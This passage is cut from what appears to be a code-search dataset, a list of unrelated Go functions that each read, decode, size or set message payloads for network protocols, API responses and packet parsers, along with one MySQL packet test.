&& v.Elem().Kind() == reflect.Struct {\n\t\t\telem := v.Elem()\n\t\t\tfor i := 0; i < elem.NumField(); i++ {\n\t\t\t\tif err := f.Read(elem.Field(i).Addr().Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t\tif v.Kind() == reflect.Slice {\n\t\t\tfor i := 0; i < v.Len(); i++ {\n\t\t\t\tif err := f.Read(v.Index(i).Addr().Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t\tpanic(fmt.Errorf(\"can't decode MSP payload into type %v\", out))\n\t}\n\treturn nil\n}", "func (s *Message) DecodePayload(p interface{}) {\n\tif err := json.Unmarshal(s.Payload, p); err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n}", "func (r *Reader) Read(p []byte) (n int, err error) {\n\treturn r.cur.payload.Read(p)\n}", "func (s *UploadReadSetPartInput) SetPayload(v io.ReadSeeker) *UploadReadSetPartInput {\n\ts.Payload = v\n\treturn s\n}", "func (msg *MsgReturnTxs) MaxPayloadLength(pver uint32) uint32 {\n\treturn MaxReturnedMsgsPayload\n}", "func NewNextPayload(resource string) *spinbroker.NextPayload {\n\tv := &spinbroker.NextPayload{}\n\tv.Resource = resource\n\n\treturn v\n}", "func (m *MsgProofs) PayloadLength() uint64 {\n\treturn uint64(m.SizeSSZ())\n}", "func (d *decoder) Decode(s *bufio.Scanner) (obj interface{}, err error) {\n\tb, err := ReadBytes(s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(b) == 0 {\n\t\tlog.Err(\"empty or malformed payload: %q\", b)\n\t\treturn nil, ErrBadMsg\n\t}\n\n\tswitch b[0] {\n\tcase STRING:\n\t\treturn decodeString(b)\n\tcase INT:\n\t\treturn decodeInt(b)\n\tcase NIL:\n\t\treturn nil, decodeNil(s)\n\tcase SLICE:\n\t\treturn d.decodeSlice(b, s)\n\tcase MAP:\n\t\treturn d.decodeMap(b, s)\n\tcase ERROR:\n\t\treturn decodeErr(b)\n\t}\n\n\tlog.Err(\"unsupported payload type: %q\", b)\n\treturn nil, ErrUnsupportedType\n}", "func (d *Datagram) PayloadLength() int {\n\treturn d.TotalLength() - d.HeaderLength()\n}", "func (c *FundingLocked) MaxPayloadLength(uint32) uint32 {\n\tvar length uint32\n\n\t// ChannelOutpoint - 36 bytes\n\tlength += 36\n\n\t// ChannelID - 8 bytes\n\tlength += 8\n\n\t// NextPerCommitmentPoint - 33 bytes\n\tlength += 33\n\n\treturn length\n}", "func (sr *SecureReader) ReadNextEncryptedMessage() error {\n\t// Read the payload size out of the buffer\n\tvar payloadSize uint32\n\terr := binary.Read(sr.r, binary.LittleEndian, &payloadSize)\n\tif err != nil {\n\t\tif err != io.EOF {\n\t\t\tlog.Println(\"Error reading payloadSize from buffer\", err)\n\t\t}\n\t\treturn err\n\t}\n\n\t// Read the payload\n\tdata := make([]byte, payloadSize)\n\t_, err = io.ReadFull(sr.r, data)\n\tif err != nil {\n\t\tlog.Println(\"Error reading payload from buffer\", err)\n\t\treturn err\n\t}\n\n\t// Unpack the nonce and encrypted message\n\tnonce := data[0:24]\n\tencrypted := data[24:]\n\n\t// Decrypt the encrypted message\n\tvar nonceBuf [24]byte\n\tcopy(nonceBuf[:], nonce)\n\tdecrypted, success := box.Open(make([]byte, 0), encrypted, &nonceBuf, sr.pub, sr.priv)\n\tif success {\n\t\tsr.leftover = decrypted\n\t\treturn nil\n\t} else {\n\t\tlog.Println(\"Error decrypting message\")\n\t\treturn &ReadError{\"Error decrypting message\"}\n\t}\n}", "func Next(data []byte) (tag uint32, body, rest []byte, err error) {\n\tvar length int\n\n\ttag, rest, err = NextTag(data)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tlength, rest, err = NextLength(rest)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif len(rest) < length {\n\t\terr = io.EOF\n\t\treturn\n\t}\n\n\tbody = rest[0:length]\n\trest = rest[length:]\n\n\treturn\n}", "func (x *Message) Read(r io.Reader) (nread int, err error) {\n\tvar n int\n\tvar p [4]byte\n\tn, err = r.Read(p[:])\n\tnread += n\n\tif err != nil {\n\t\treturn nread, err\n\t}\n\t_length := bytesInt32(p[0:4])\n\tn, err = r.Read(p[0:1])\n\tnread += n\n\tif err != nil {\n\t\treturn nread, err\n\t}\n\tvar _magic int32 = int32(p[0])\n\tif _magic != 0 {\n\t\t_magic = 1\n\t\tn, err = r.Read(p[0:1])\n\t\tnread += n\n\t\tif err != nil {\n\t\t\treturn nread, err\n\t\t}\n\t\tif Compression(p[0]) != NoCompression {\n\t\t\treturn nread, ErrNotSupported\n\t\t}\n\t\tx.Compression = Compression(p[0])\n\t}\n\tn, err = r.Read(p[0:4])\n\tnread += n\n\tif err != nil {\n\t\treturn nread, err\n\t}\n\t_crc := bytesUint32(p[0:4])\n\t_paylen := _length - 1 /* magic */ - _magic /* compression */ - 4 /* checksum */\n\tif _paylen < 0 {\n\t\treturn nread, ErrWire\n\t}\n\tx.Payload = make([]byte, _paylen)\n\tn, err = r.Read(x.Payload)\n\tnread += n\n\tif err != nil {\n\t\treturn nread, err\n\t}\n\tif crc32.ChecksumIEEE(x.Payload) != _crc {\n\t\treturn nread, ErrChecksum\n\t}\n\treturn nread, nil\n}", "func (s *GetReferenceOutput) SetPayload(v io.ReadCloser) *GetReferenceOutput {\n\ts.Payload = v\n\treturn s\n}", "func (m Message) Payload() ([]byte, error) {\n\tbody, err := ioutil.ReadAll(m.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tm.Body = ioutil.NopCloser(bytes.NewReader(body))\n\n\treturn body, err\n}", "func (msg *MsgReturnInit) MaxPayloadLength(pver uint32) uint32 {\n\treturn MaxReturnedMsgsPayload\n}", "func (b *BaseHandler) Payload() []byte {\n\tcontent, err := ioutil.ReadAll(b.request.Body)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn content\n}", "func (msg *MsgExtended) MaxPayloadLength(pver uint32) uint64 {\n\treturn math.MaxUint64\n}", "func (msg *MsgPing) MaxPayloadLength(pver uint32) uint32 {\n\tplen := uint32(0)\n\treturn plen\n}", "func (rw *DataRW) payload(msg Msg) []byte {\n\tbuffer := bytes.NewBuffer(make([]byte, 0, 65536))\n\t_, err := io.Copy(buffer, msg.Payload)\n\tif err != nil {\n\t\treturn nil\n\t}\n\ttemp := buffer.Bytes()\n\tlength := len(temp)\n\tvar body []byte\n\t//are we wasting more than 5% space?\n\tif cap(temp) > (length + length/5) {\n\t\tbody = make([]byte, length)\n\t\tcopy(body, temp)\n\t} else {\n\t\tbody = temp\n\t}\n\treturn body\n}", "func (o RawStreamInputDataSourceOutput) Payload() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RawStreamInputDataSource) *string { return v.Payload }).(pulumi.StringPtrOutput)\n}", "func (sds SectionDocumentSequence) PayloadLen() int {\n\t// 4 bytes for size field, len identifier (including \\0), and total docs len\n\treturn sds.Len() - 1\n}", "func NewPayload() Payload {\n\tp := Payload{-1, \"\", 0, \"\", 0}\n\treturn p\n}", "func GetMsgPayload(msgData []byte) ([]byte, error) {\n if len(msgData) < HEADER_LEN_B {\n return nil, ErrBufferTooSmall\n }\n\n header, err := GetMsgHeader(msgData)\n if err != nil {\n return nil, err\n }\n\n size := GetMsgSize(header)\n\n return msgData[HEADER_LEN_B : HEADER_LEN_B + size], nil\n}", "func (p *Bare) expectedPayloadLen() int {\n\tswitch p.trice.Type {\n\tcase \"TRICE0\", \"TRICE8_1\", \"TRICE8_2\", \"TRICE16_1\":\n\t\treturn 1\n\tcase \"TRICE8_3\", \"TRICE8_4\", \"TRICE16_2\", \"TRICE32_1\":\n\t\treturn 2\n\tcase \"TRICE8_5\", \"TRICE8_6\", \"TRICE16_3\":\n\t\treturn 3\n\tcase \"TRICE8_7\", \"TRICE8_8\", \"TRICE16_4\", \"TRICE32_2\", \"TRICE64_1\":\n\t\treturn 4\n\tcase \"TRICE32_3\":\n\t\treturn 6\n\tcase \"TRICE32_4\", \"TRICE64_2\":\n\t\treturn 8\n\tcase \"TRICE_S\":\n\t\treturn -1 // unknown count\n\tdefault:\n\t\treturn -2 // unknown trice type\n\t}\n}", "func (o *ReplicateTooManyRequests) SetPayload(payload *models.ErrorResponse) {\n\to.Payload = payload\n}", "func (o *PostAddCreated) SetPayload(payload *models.Reading) {\n\to.Payload = payload\n}", "func (p *Packet) Read(byteCount int) ([]byte, error) {\n\tstartPos := p.readPos\n\tnextPos := startPos + byteCount\n\tif nextPos > len(p.payload) {\n\t\treturn []byte{}, io.EOF\n\t}\n\tp.readPos = nextPos\n\treturn p.payload[startPos:nextPos], nil\n}", "func DecodePayloadLength(decryptedCell []byte) int {\n\tstart := CmdLength + StreamIDLength + DigestLength\n\tend := start + PayloadLength\n\treturn Decode16BitsInt(decryptedCell[start:end])\n}", "func NextLength(data []byte) (length int, rest []byte, err error) {\n\tswitch {\n\tcase len(data) == 0:\n\t\terr = io.EOF\n\n\tcase data[0] < 0x80:\n\t\tlength = int(data[0])\n\t\trest = data[1:]\n\n\tcase data[0] == 0x81:\n\t\tif len(data) < 2 {\n\t\t\terr = io.EOF\n\t\t} else {\n\t\t\tlength = int(data[1])\n\t\t\trest = data[2:]\n\t\t}\n\n\tcase data[0] == 0x82:\n\t\tif len(data) < 3 {\n\t\t\terr = io.EOF\n\t\t} else {\n\t\t\tlength = int(data[1])<<8 | int(data[2])\n\t\t\trest = data[3:]\n\t\t}\n\n\tdefault:\n\t\t// Only 1 & 2 byte lengths can be expected from smart cards\n\t\t// so don't support longer formats\n\t\terr = errors.Errorf(\"Length format 0x%x unsupported\", data[0])\n\t}\n\treturn\n}", "func DeserializePayload(request []byte, payload interface{}) error {\n\tvar buff bytes.Buffer\n\tbuff.Write(request[commandLength:])\n\tdec := gob.NewDecoder(&buff)\n\n\tif err := dec.Decode(payload); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (d *FrameDecoder) Next() (interface{}, error) {\n\t// If we previously returned a reader, make sure we advance all the way in\n\t// case the caller didn't read it all.\n\tif d.advance != nil {\n\t\tio.Copy(ioutil.Discard, d.advance)\n\t\td.advance = nil\n\t}\n\tswitch d {\n\t// hdr, err := d.r.ReadHeader()\n\t// if err != nil {\n\t// \tif err == io.EOF {\n\t// \t\treturn nil, nil\n\t// \t}\n\t// \treturn nil, err\n\t// }\n\t// switch hdr.Type\n\t// case CaFormatEntry:\n\t// \tif hdr.Size != 64 {\n\t// \t\treturn nil, desync.InvalidFormat{}\n\t// \t}\n\t// \te := FormatEntry{FormatHeader: hdr}\n\t// \te.FeatureFlags, err = d.r.ReadUint64()\n\t// \tif err != nil {\n\t// \t\treturn nil, err\n\t// \t}\n\n\tdefault:\n\t\treturn nil, nil\n\t\t//return nil, fmt.Errorf(\"unsupported header type %x\", hdr.Type)\n\t}\n}", "func (o *GetV1RdssOK) SetPayload(payload models.RDSS) {\n\to.Payload = payload\n}", "func (msg *MsgFilterLoad) MaxPayloadLength(pver uint32) uint32 {\n\t// Num filter bytes (varInt) + filter + 4 bytes hash funcs +\n\t// 4 bytes tweak + 1 byte flags.\n\treturn uint32(VarIntSerializeSize(MaxFilterLoadFilterSize)) +\n\t\tMaxFilterLoadFilterSize + 9\n}", "func (r *Reader) Remaining() int {\n\treturn len(r.buf)\n}", "func (alr *adjustableLimitedReader) Read(p []byte) (n int, err error) {\n\tn, err = alr.R.Read(p)\n\tif err == io.EOF && alr.R.N <= 0 {\n\t\t// return our custom error since io.Reader returns EOF\n\t\terr = LineLimitExceeded\n\t}\n\treturn\n}", "func (r Response) PayloadTooLarge(code string, payload Payload, header ...ResponseHeader) {\n\tr.Response(code, http.PayloadTooLarge, payload, header...)\n}", "func (input PacketChannel) PayloadOnly() <-chan []byte {\n\toutput := make(chan []byte)\n\tgo func() {\n\t\tdefer close(output)\n\t\tfor packet := range input {\n\t\t\toutput <- packet.Payload\n\t\t}\n\t}()\n\treturn output\n}", "func (bp *BasePayload) GetPayloadLength() float64 {\n\treturn float64(len(bp.Payload))\n}", "func GetPayload(ctx context.Context, hostnameData hostname.Data) *Payload {\n\tmeta := hostMetadataUtils.GetMeta(ctx, config.Datadog)\n\tmeta.Hostname = hostnameData.Hostname\n\n\tp := &Payload{\n\t\tOs: osName,\n\t\tAgentFlavor: flavor.GetFlavor(),\n\t\tPythonVersion: python.GetPythonInfo(),\n\t\tSystemStats: getSystemStats(),\n\t\tMeta: meta,\n\t\tHostTags: hostMetadataUtils.GetHostTags(ctx, false, config.Datadog),\n\t\tContainerMeta: containerMetadata.Get(1 * time.Second),\n\t\tNetworkMeta: getNetworkMeta(ctx),\n\t\tLogsMeta: getLogsMeta(),\n\t\tInstallMethod: getInstallMethod(getInstallInfoPath()),\n\t\tProxyMeta: getProxyMeta(),\n\t\tOtlpMeta: getOtlpMeta(),\n\t}\n\n\t// Cache the metadata for use in other payloads\n\tkey := buildKey(\"payload\")\n\tcache.Cache.Set(key, p, cache.NoExpiration)\n\n\treturn p\n}", "func (o RawReferenceInputDataSourceResponseOutput) Payload() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RawReferenceInputDataSourceResponse) *string { return v.Payload }).(pulumi.StringPtrOutput)\n}", "func copyFullPayload(ctx context.Context, responseWriter http.ResponseWriter, r *http.Request, destWriter io.Writer, limit int64, action string) error {\n\t// Get a channel that tells us if the client disconnects\n\tclientClosed := r.Context().Done()\n\tbody := r.Body\n\tif limit > 0 {\n\t\tbody = http.MaxBytesReader(responseWriter, body, limit)\n\t}\n\n\t// Read in the data, if any.\n\tcopied, err := io.Copy(destWriter, body)\n\tif clientClosed != nil && (err != nil || (r.ContentLength > 0 && copied < r.ContentLength)) {\n\t\t// Didn't receive as much content as expected. Did the client\n\t\t// disconnect during the request? If so, avoid returning a 400\n\t\t// error to keep the logs cleaner.\n\t\tselect {\n\t\tcase <-clientClosed:\n\t\t\t// Set the response code to \"499 Client Closed Request\"\n\t\t\t// Even though the connection has already been closed,\n\t\t\t// this causes the logger to pick up a 499 error\n\t\t\t// instead of showing 0 for the HTTP status.\n\t\t\tresponseWriter.WriteHeader(499)\n\n\t\t\tdcontext.GetLoggerWithFields(ctx, map[interface{}]interface{}{\n\t\t\t\t\"error\": err,\n\t\t\t\t\"copied\": copied,\n\t\t\t\t\"contentLength\": r.ContentLength,\n\t\t\t}, \"error\", \"copied\", \"contentLength\").Error(\"client disconnected during \" + action)\n\t\t\treturn errors.New(\"client disconnected\")\n\t\tdefault:\n\t\t}\n\t}\n\n\tif err != nil {\n\t\tdcontext.GetLogger(ctx).Errorf(\"unknown error reading request payload: %v\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (publish PublishPacket) PayloadSize() int {\n\tlength := stringSize(publish.Topic)\n\tif publish.Qos == 1 || publish.Qos == 2 {\n\t\tlength += 2\n\t}\n\tlength += len(publish.Payload)\n\treturn length\n}", "func (r *Reader) Read() ([]byte, error) {\n\tfor {\n\t\tlength, err := r.readHeader()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tchecksum, err := r.readHeader()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif length > maxEntrySize {\n\t\t\tfmt.Printf(\"Discarding wal entry of size %v exceeding %v, probably corrupted\\n\", humanize.Bytes(uint64(length)), humanize.Bytes(uint64(maxEntrySize)))\n\t\t\t_, discardErr := io.CopyN(ioutil.Discard, r.reader, int64(length))\n\t\t\tif discardErr == io.EOF {\n\t\t\t\tdiscardErr = nil\n\t\t\t}\n\t\t\treturn nil, discardErr\n\t\t}\n\t\tdata, err := r.readData(length)\n\t\tif data != nil || err != nil {\n\t\t\tif data != nil {\n\t\t\t\tr.h.Reset()\n\t\t\t\tr.h.Write(data)\n\t\t\t\tif checksum != int(r.h.Sum32()) {\n\t\t\t\t\tr.log.Errorf(\"Checksum mismatch, skipping entry\")\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn data, err\n\t\t}\n\t}\n}", "func (bp *BasePayload) GetPayload() []byte {\n\treturn bp.Payload\n}", "func (f *Frame) SizedPayload() []byte {\n\treturn f.Payload[:f.Header.Size]\n}", "func (msg *MsgFilterClear) MaxPayloadLength(pver uint32) uint32 {\n\treturn 0\n}", "func (s *SRTInbound) Read(p []byte) (n int, err error) {\n\treturn s.reader.Read(p)\n}", "func GetPayload(e *common.Envelope) (*common.Payload, error) {\n\tpayload := &common.Payload{}\n\terr := proto.Unmarshal(e.Payload, payload)\n\treturn payload, err\n}", "func (r *StreamReader) Read(p []byte) (int, error) {\n\tif !r.initiated {\n\t\tpanic(\"ReaderStream not created via NewReaderStream\")\n\t}\n\tvar ok bool\n\tr.stripEmpty()\n\tfor !r.closed && len(r.current) == 0 {\n\t\tif r.first {\n\t\t\tr.first = false\n\t\t} else {\n\t\t\tr.done <- true\n\t\t}\n\t\tif r.current, ok = <-r.reassembled; ok {\n\t\t\tr.stripEmpty()\n\t\t} else {\n\t\t\tr.closed = true\n\t\t}\n\t}\n\tif len(r.current) > 0 {\n\t\tcurrent := &r.current[0]\n\t\tif r.LossErrors && !r.lossReported && current.Skip != 0 {\n\t\t\tr.lossReported = true\n\t\t\treturn 0, DataLost\n\t\t}\n\t\tlength := copy(p, current.Bytes)\n\t\tcurrent.Bytes = current.Bytes[length:]\n\t\treturn length, nil\n\t}\n\treturn 0, io.EOF\n}", "func (m *SlimBlock) MaxPayloadLength(pver uint32) uint32 {\n\treturn MaxBlockPayload\n}", "func getPayload(t *tufCommander) ([]byte, error) {\n\n\t// Reads from the given file\n\tif t.input != \"\" {\n\t\t// Please note that ReadFile will cut off the size if it was over 1e9.\n\t\t// Thus, if the size of the file exceeds 1GB, the over part will not be\n\t\t// loaded into the buffer.\n\t\tpayload, err := ioutil.ReadFile(t.input)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn payload, nil\n\t}\n\n\t// Reads all of the data on STDIN\n\tpayload, err := ioutil.ReadAll(os.Stdin)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error reading content from STDIN: %v\", err)\n\t}\n\treturn payload, nil\n}", "func (o *PostLolLoginV1ServiceProxyUUIDRequestsParams) SetPayload(payload string) {\n\to.Payload = payload\n}", "func (s *segment) payloadSize() int {\n\treturn s.pkt.Data().Size()\n}", "func (r *Reader) NextFrame() (hdr ws.Header, err error) {\n\thdr, err = ws.ReadHeader(r.Source)\n\tif err == io.EOF && r.fragmented() {\n\t\t// If we are in fragmented state EOF means that is was totally\n\t\t// unexpected.\n\t\t//\n\t\t// NOTE: This is necessary to prevent callers such that\n\t\t// ioutil.ReadAll to receive some amount of bytes without an error.\n\t\t// ReadAll() ignores an io.EOF error, thus caller may think that\n\t\t// whole message fetched, but actually only part of it.\n\t\terr = io.ErrUnexpectedEOF\n\t}\n\tif err == nil && !r.SkipHeaderCheck {\n\t\terr = ws.CheckHeader(hdr, r.State)\n\t}\n\tif err != nil {\n\t\treturn hdr, err\n\t}\n\n\t// Save raw reader to use it on discarding frame without ciphering and\n\t// other streaming checks.\n\tr.raw = io.LimitedReader{\n\t\tR: r.Source,\n\t\tN: hdr.Length,\n\t}\n\n\tframe := io.Reader(&r.raw)\n\tif hdr.Masked {\n\t\tframe = NewCipherReader(frame, hdr.Mask)\n\t}\n\n\tfor _, ext := range r.Extensions {\n\t\thdr.Rsv, err = ext.BitsRecv(r.fseq, hdr.Rsv)\n\t\tif err != nil {\n\t\t\treturn hdr, err\n\t\t}\n\t}\n\n\tif r.fragmented() {\n\t\tif hdr.OpCode.IsControl() {\n\t\t\tif cb := r.OnIntermediate; cb != nil {\n\t\t\t\terr = cb(hdr, frame)\n\t\t\t}\n\t\t\tif err == nil {\n\t\t\t\t// Ensure that src is empty.\n\t\t\t\t_, err = io.Copy(ioutil.Discard, &r.raw)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tr.opCode = hdr.OpCode\n\t}\n\tif r.CheckUTF8 && (hdr.OpCode == ws.OpText || (r.fragmented() && r.opCode == ws.OpText)) {\n\t\tr.utf8.Source = frame\n\t\tframe = &r.utf8\n\t}\n\n\t// Save reader with ciphering and other streaming checks.\n\tr.frame = frame\n\n\tif hdr.OpCode == ws.OpContinuation {\n\t\tif cb := r.OnContinuation; cb != nil {\n\t\t\terr = cb(hdr, frame)\n\t\t}\n\t}\n\n\tif hdr.Fin {\n\t\tr.State = r.State.Clear(ws.StateFragmented)\n\t\tr.fseq = 0\n\t} else {\n\t\tr.State = r.State.Set(ws.StateFragmented)\n\t\tr.fseq++\n\t}\n\n\treturn\n}", "func (msg *MsgUnknown) MaxPayloadLength(pver uint32) uint32 {\n\treturn uint32(VarIntSerializeSize(MaxMessageDataSize)) +\n\t\tMaxMessageDataSize\n}", "func (o *ReadStorageV1beta1CSIDriverOK) SetPayload(payload *models.IoK8sAPIStorageV1beta1CSIDriver) {\n\to.Payload = payload\n}", "func (msg *MsgTx) MaxPayloadLength(pver uint32) uint32 {\n\treturn 1024 * 10\n}", "func (msg *Message) PayloadsRaw() []PayloadRaw {\n\tlog.Println(\"PayloadsRaw called\")\n\tpayloadsRaw := msg.assembled[28:]\n\tpayloadsLength := len(payloadsRaw)\n\tpayloadStart := 0\n\tpayloads := make([]PayloadRaw, 1)\n\n\tnextPayload := msg.IKEv2Hdr().NextPayload\n\n\tfor (payloadStart < payloadsLength) && (nextPayload != 0) {\n\t\tlog.Printf(\"Found Payload: %d\", nextPayload)\n\t\t// TODO read length first - restrict slice\n\t\tplGeneric := newIKEv2PayloadHdr(payloadsRaw[payloadStart:])\n\t\tplGeneric.GetGenericDesc()\n\t\tpayloads = append(payloads, PayloadRaw{payloadType: nextPayload,\n\t\t\tpayloadContent: plGeneric.Payload()})\n\t\tpayloadStart += int(plGeneric.Length())\n\t\tnextPayload = plGeneric.NextPayload()\n\t}\n\n\treturn payloads\n}", "func (o *GetPreEnrollmentsForFacilityOK) SetPayload(payload []*models.Enrollment) {\n\to.Payload = payload\n}", "func (self *StreamDecoder) Decode(val interface{}) (err error) {\n if self.err != nil {\n return self.err\n }\n\n var buf = self.buf[self.scanp:]\n var p = 0\n var recycle bool\n if cap(buf) == 0 {\n buf = bufPool.Get().([]byte)\n recycle = true\n }\n \n var first = true\n var repeat = true\nread_more:\n for {\n l := len(buf)\n realloc(&buf)\n n, err := self.r.Read(buf[l:cap(buf)])\n buf = buf[:l+n]\n if err != nil {\n repeat = false\n if err == io.EOF {\n if len(buf) == 0 {\n return err\n }\n break\n }\n self.err = err\n return err\n }\n if n > 0 || first {\n break\n }\n }\n first = false\n\n l := len(buf)\n if l > 0 {\n self.Decoder.Reset(string(buf))\n err = self.Decoder.Decode(val)\n if err != nil {\n if repeat && self.repeatable(err) {\n goto read_more\n }\n self.err = err\n }\n\n p = self.Decoder.Pos()\n self.scanned += int64(p)\n self.scanp = 0\n }\n \n if l > p {\n // remain undecoded bytes, so copy them into self.buf\n self.buf = append(self.buf[:0], buf[p:]...)\n } else {\n self.buf = nil\n recycle = true\n }\n\n if recycle {\n buf = buf[:0]\n bufPool.Put(buf)\n }\n return err\n}", "func (o *PostItemNameReservationBadRequest) SetPayload(payload string) {\n\to.Payload = payload\n}", "func unmarshalPayload(r *http.Request) ([]interface{}, error) {\n\tif r.ContentLength > 0 {\n\t\tinterfaceSlice := []interface{}{}\n\t\tdata := make([]byte, r.ContentLength)\n\t\tr.Body.Read(data)\n\t\t// [][]byte\n\t\tsplittedByteData := bytes.SplitAfter(data, []byte(\"},\"))\n\t\tfor _, single := range splittedByteData {\n\t\t\tvar mData interface{}\n\t\t\tsingle = bytes.TrimRight(single, \",\")\n\t\t\terr := json.Unmarshal(single, &mData)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tinterfaceSlice = append(interfaceSlice, mData)\n\t\t}\n\t\treturn interfaceSlice, nil\n\t}\n\treturn nil, nil\n}", "func GetPayload(e *cb.Envelope) (*cb.Payload, error) {\n\tpayload := &cb.Payload{}\n\terr := proto.Unmarshal(e.Payload, payload)\n\treturn payload, errors.Wrap(err, \"error unmarshaling Payload\")\n}", "func (p ZkEstablishAccept) MaxPayloadLength(uint32) uint32 {\n\treturn 65532\n}", "func (p *Bare) payloadLenOk() bool {\n\tx := p.expectedPayloadLen()\n\treturn len(p.payload) == x || -1 == x\n}", "func (r *Response) GetPayload(dest interface{}) error {\n\traw, ok := r.Data.(json.RawMessage)\n\tif !ok {\n\t\treturn errors.New(\"you should not use GetPayload() unless you have unmarshalled this structure from JSON\")\n\t}\n\n\tif !r.Success {\n\t\treturn errors.New(\"cannot use GetPayload() on a response that was not successful\")\n\t}\n\n\treturn json.Unmarshal(raw, dest)\n}", "func (p *PayloadRaw) getPayload() Payload {\n\tswitch p.payloadType {\n\tcase 33:\n\t\tlog.Println(\"Found IKEv2 SA payload\")\n\t\treturn NewIKEv2Sa(p.payloadContent)\n\tdefault:\n\t\treturn nil\n\t}\n}", "func (d *DeploymentRequest) GetPayload() string {\n\tif d == nil || d.Payload == nil {\n\t\treturn \"\"\n\t}\n\treturn *d.Payload\n}", "func (o *GetBlockBakingRightsOK) SetPayload(payload []*models.BakingRightsRow) {\n\to.Payload = payload\n}", "func (nf *NetworkPayload) GetPayloadLength() float64 {\n\tif nf.Payload == nil {\n\t\treturn 0\n\t}\n\treturn float64(len(nf.Payload.ApplicationLayer().Payload()))\n}", "func (p ZkEstablishInitialState) MaxPayloadLength(uint32) uint32 {\n\treturn 65532\n}", "func (c *RDContext) Next(data []byte, endStream bool) error {\n\tfilters := c.Stream.dataReceivers\n\n\t// Finished processing the filters - call connection\n\tif c.currentFilter >= len(filters) {\n\t\treturn c.Stream.Connection.SendData(c.Stream, data, endStream)\n\t}\n\n\tnext := filters[c.currentFilter]\n\tc.currentFilter++\n\tc.Stream.setMiddlewareName(next.Name())\n\treturn next.ReceiveData(c, data, endStream)\n}", "func (o *PostItemNameReservationOK) SetPayload(payload *models.Reservation) {\n\to.Payload = payload\n}", "func TestPackagerReadNext(t *testing.T) {\n\tt.Log(\"Start TestReadNext +++++++++++++\")\n\t// Pick random number of packets to be 'sent' over the reader\n\tnumPackets := rand.Intn(48) + 2 \t\t// Rand between 2 and 50\n\n\t// Pick length of terminal packet + header\n\tendPacketLength := rand.Intn(MAX_PACKET_SIZE - 1)\n\n\t// Create expected test packet! Note that everything is all 0s\n\tbuf := make([]byte, MAX_PACKET_SIZE)\n\texpectedPacket := NewMySQLPacketFrom(0, buf) // Stream packet\n\n\tbuf = make([]byte, endPacketLength)\n\tendPacket := NewMySQLPacketFrom(numPackets - 1, buf) // Terminal packet\n\n\tt.Log(\"Running with \", numPackets, \" packets and \", endPacketLength, \" length end packet\")\n\n\tbig_payload := make([]byte, 0)\n\tidx := 0\n\tfor i := 0; i < numPackets - 1; i++ {\n\t\tbig_payload = append(big_payload, expectedPacket.Serialized...)\n\t\texpectedPacket.Sqid++\n\t\tt.Log(expectedPacket.Sqid)\n\t\tidx += expectedPacket.Length\n\t}\n\tbig_payload = append(big_payload, endPacket.Serialized...)\n\tif len(big_payload) != (numPackets - 1) * (MAX_PACKET_SIZE + 4) + endPacketLength + 4 {\n\t\tt.Log(\"Unexpected big payload length \", len(big_payload))\n\t}\n\n\t// Reset sequence id\n\texpectedPacket.Sqid = 0\n\n\t// Create a new packet reader\n\treader := bytes.NewReader(big_payload)\n\tpackager := &Packager{reader:reader}\n\n\t// Since we have two packets, use a general variable for test packet\n\tvar testPacket *encoding.Packet\n\n\t// Return the next packet from the string!\n\tfor {\n\t\tt.Log(\"reader.ReadNext() in mysql_packets test\")\n\t\tns, err := packager.ReadNext()\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tif ns.Length != MAX_PACKET_SIZE {\n\t\t\ttestPacket = endPacket\n\t\t} else {\n\t\t\ttestPacket = expectedPacket\n\t\t}\n\t\tt.Log(\"Packet number: \", expectedPacket.Serialized[3])\n\n\t\t// Test that the next packet read is as expected!\n\t\tif ns.Length != testPacket.Length {\n\t\t\tt.Log(\"Length expected\", testPacket.Length, \"instead got\", ns.Length)\n\t\t}\n\t\tif ns.Sqid != testPacket.Sqid {\n\t\t\tt.Log(\"Sequence id expected\", testPacket.Sqid, \"instead got\", ns.Sqid)\n\t\t}\n\t\tif ns.Cmd != testPacket.Cmd {\n\t\t\tt.Log(\"Command expected\", testPacket.Cmd, \"instead got\", ns.Cmd)\n\t\t\tt.Fail()\n\t\t}\n\t\tif !reflect.DeepEqual(ns.Serialized, testPacket.Serialized) {\n\t\t\tt.Log(\"Payload expected\", testPacket.Serialized, \"instead got\", ns.Serialized)\n\t\t\tt.Fail()\n\t\t}\n\n\t\texpectedPacket.Sqid++\n\t}\n\n\tif int(expectedPacket.Sqid) != numPackets {\n\t\tt.Log(\"Expected number of packets\", numPackets, \"instead got\", int(expectedPacket.Sqid))\n\t\tt.Fail()\n\t}\n\n\tt.Log(\"End TestReadNext +++++++++++++\")\n}", "func (o *GetCardsOK) SetPayload(payload []*models.Card) {\n\to.Payload = payload\n}", "func (o *PostUserIDF2aUnauthorized) SetPayload(payload *models.Response) {\n\to.Payload = payload\n}", "func (o *GetPaymentRequestEDIOK) SetPayload(payload *supportmessages.PaymentRequestEDI) {\n\to.Payload = payload\n}", "func (m *MockMessageHandler) ParsePayload(arg0 []byte) (p2pcommon.MessageBody, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ParsePayload\", arg0)\n\tret0, _ := ret[0].(p2pcommon.MessageBody)\n\tret1, _ := 